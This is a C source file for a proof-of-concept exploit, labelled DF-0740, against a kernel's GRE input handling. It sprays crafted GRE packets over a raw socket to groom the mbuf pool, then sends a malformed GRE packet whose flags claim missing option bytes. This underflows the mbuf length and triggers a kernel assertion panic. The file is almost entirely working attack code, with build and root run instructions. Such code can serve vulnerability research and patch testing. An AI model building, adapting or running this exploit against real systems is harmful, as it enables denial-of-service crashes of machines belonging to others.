/*
 * DF-0740 Exploit — gre_input2 mbuf underflow -> kernel KASSERT panic
 *
 * Strategy: spray valid GRE packets to fill the mbuf pool with controlled
 * data (0x45 at byte offset 36), then immediately send the malformed GRE
 * packet (CP|KP|SP flags, no option bytes).  If the malformed packet reuses
 * a sprayed mbuf, the byte at m_data (offset 36) is 0x45, which makes
 * ip_input read ip_vhl=0x45 (ip_v=4, ip_hl=5).  The version check at
 * ip_input.c:531 passes, then the KASSERT at ip_input.c:539 fires:
 *   KASSERT(m->m_len >= hlen)  →  (-12 >= 20)  →  PANIC
 *
 * The m_len underflow (-12) passes the sizeof() check at ip_input.c:463
 * because sizeof returns size_t (unsigned), so -12 is converted to
 * ~4 billion, which is NOT < 20.
 *
 * Build:  cc -O2 -o exploit exploit.c
 * Run:    ./exploit         (as root)
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <arpa/inet.h>

#define GRE_CP 0x8000
#define GRE_KP 0x2000
#define GRE_SP 0x1000

static unsigned short
in_cksum(unsigned short *addr, int len)
{
    int nleft = len, sum = 0;
    unsigned short *w = addr, answer = 0;
    while (nleft > 1) { sum += *w++; nleft -= 2; }
    if (nleft == 1) {
        *(unsigned char *)&answer = *(unsigned char *)w;
        sum += answer;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)~sum;
}

static int raw_fd;

static void
send_pkt(const unsigned char *pkt, int len)
{
    struct sockaddr_in dst;
    memset(&dst, 0, sizeof(dst));
    dst.sin_family = AF_INET;
    dst.sin_addr.s_addr = inet_addr("127.0.0.1");
    sendto(raw_fd, pkt, len, 0, (struct sockaddr *)&dst, sizeof(dst));
}

int
main(int argc, char **argv)
{
    int on = 1, i, rounds = 50;

    if (argc > 1) rounds = atoi(argv[1]);

    raw_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (raw_fd < 0) { perror("socket"); return 1; }
    setsockopt(raw_fd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

    /*
     * Spray packet: 56 bytes = 20 IP + 4 GRE + 12 options + 20 inner.
     * The inner 20 bytes (at offset 36) start with 0x45 (ip_vhl).
     * After gre_input2 strips hlen=36, the inner data at byte 36 is
     * processed by ip_input.  ip_input drops it (bad addr/cksum) and
     * frees the mbuf — but the data (including 0x45 at byte 36) stays
     * in the freed mbuf's buffer.
     */
    unsigned char spray[56];
    struct ip *sip = (struct ip *)spray;
    memset(spray, 0, sizeof(spray));

    sip->ip_v = 4; sip->ip_hl = 5;
    sip->ip_len = htons(56);
    sip->ip_ttl = 64;
    sip->ip_p = 47; /* GRE */
    sip->ip_src.s_addr = inet_addr("127.0.0.2");
    sip->ip_dst.s_addr = inet_addr("127.0.0.1");
    sip->ip_sum = 0;
    sip->ip_sum = in_cksum((unsigned short *)sip, 20);

    /* GRE header: CP|KP|SP, all option bytes present */
    spray[20] = 0xb0; spray[21] = 0x00; /* flags */
    spray[22] = 0x08; spray[23] = 0x00; /* ETHERTYPE_IP */
    /* Bytes 24-35: option fields (checksum+off, key, seq) */
    memset(spray + 24, 0x41, 12);
    /* Bytes 36-55: inner "IP header" — starts with 0x45 */
    spray[36] = 0x45; /* ip_vhl: v=4, hl=5 */
    spray[37] = 0x00;
    spray[38] = 0x00; spray[39] = 0x14; /* ip_len = 20 */
    spray[40] = 0x00; spray[41] = 0x01; /* ip_id */
    spray[42] = 0x00; spray[43] = 0x00; /* ip_off */
    spray[44] = 0x40;                   /* ip_ttl */
    spray[45] = 0x06;                   /* ip_p = TCP */
    /* ip_src = 127.0.0.3 */
    spray[48] = 0x7f; spray[49] = 0x00; spray[50] = 0x00; spray[51] = 0x03;
    /* ip_dst = 127.0.0.4 */
    spray[52] = 0x7f; spray[53] = 0x00; spray[54] = 0x00; spray[55] = 0x04;
    /* Compute inner IP checksum */
    {
        struct ip *inner = (struct ip *)(spray + 36);
        inner->ip_sum = 0;
        inner->ip_sum = in_cksum((unsigned short *)inner, 20);
    }

    /*
     * Malformed packet: 24 bytes = 20 IP + 4 GRE, NO option bytes.
     * CP|KP|SP flags claim +12 bytes of options that don't exist.
     * hlen = 36, m_pkthdr.len = 24, m_len underflows to -12.
     */
    unsigned char malformed[24];
    struct ip *mip = (struct ip *)malformed;
    memset(malformed, 0, sizeof(malformed));
    mip->ip_v = 4; mip->ip_hl = 5;
    mip->ip_len = htons(24);
    mip->ip_ttl = 64;
    mip->ip_p = 47;
    mip->ip_src.s_addr = inet_addr("127.0.0.2");
    mip->ip_dst.s_addr = inet_addr("127.0.0.1");
    mip->ip_sum = in_cksum((unsigned short *)mip, 20);
    malformed[20] = 0xb0; malformed[21] = 0x00; /* CP|KP|SP */
    malformed[22] = 0x08; malformed[23] = 0x00;

    printf("[*] DF-0740 exploit: spray %d rounds then trigger\n", rounds);
    printf("[*] Spray: 56-byte valid GRE with 0x45 at byte 36\n");
    printf("[*] Trigger: 24-byte malformed GRE (hlen=36, underflow)\n");
    printf("[*] If mbuf reused, KASSERT(m_len >= hlen) panics\n");
    fflush(stdout);

    for (i = 0; i < rounds; i++) {
        /* Spray: send 10 valid packets to fill the pool */
        int j;
        for (j = 0; j < 10; j++)
            send_pkt(spray, sizeof(spray));
        usleep(500);

        /* Trigger: send malformed packet, hoping for mbuf reuse */
        send_pkt(malformed, sizeof(malformed));
        usleep(500);

        if (i % 10 == 0) {
            printf("[*] Round %d/%d...\n", i, rounds);
            fflush(stdout);
        }
    }

    printf("[!] Survived %d rounds.  Bug present but crash is probabilistic.\n",
           rounds);
    close(raw_fd);
    return 0;
}
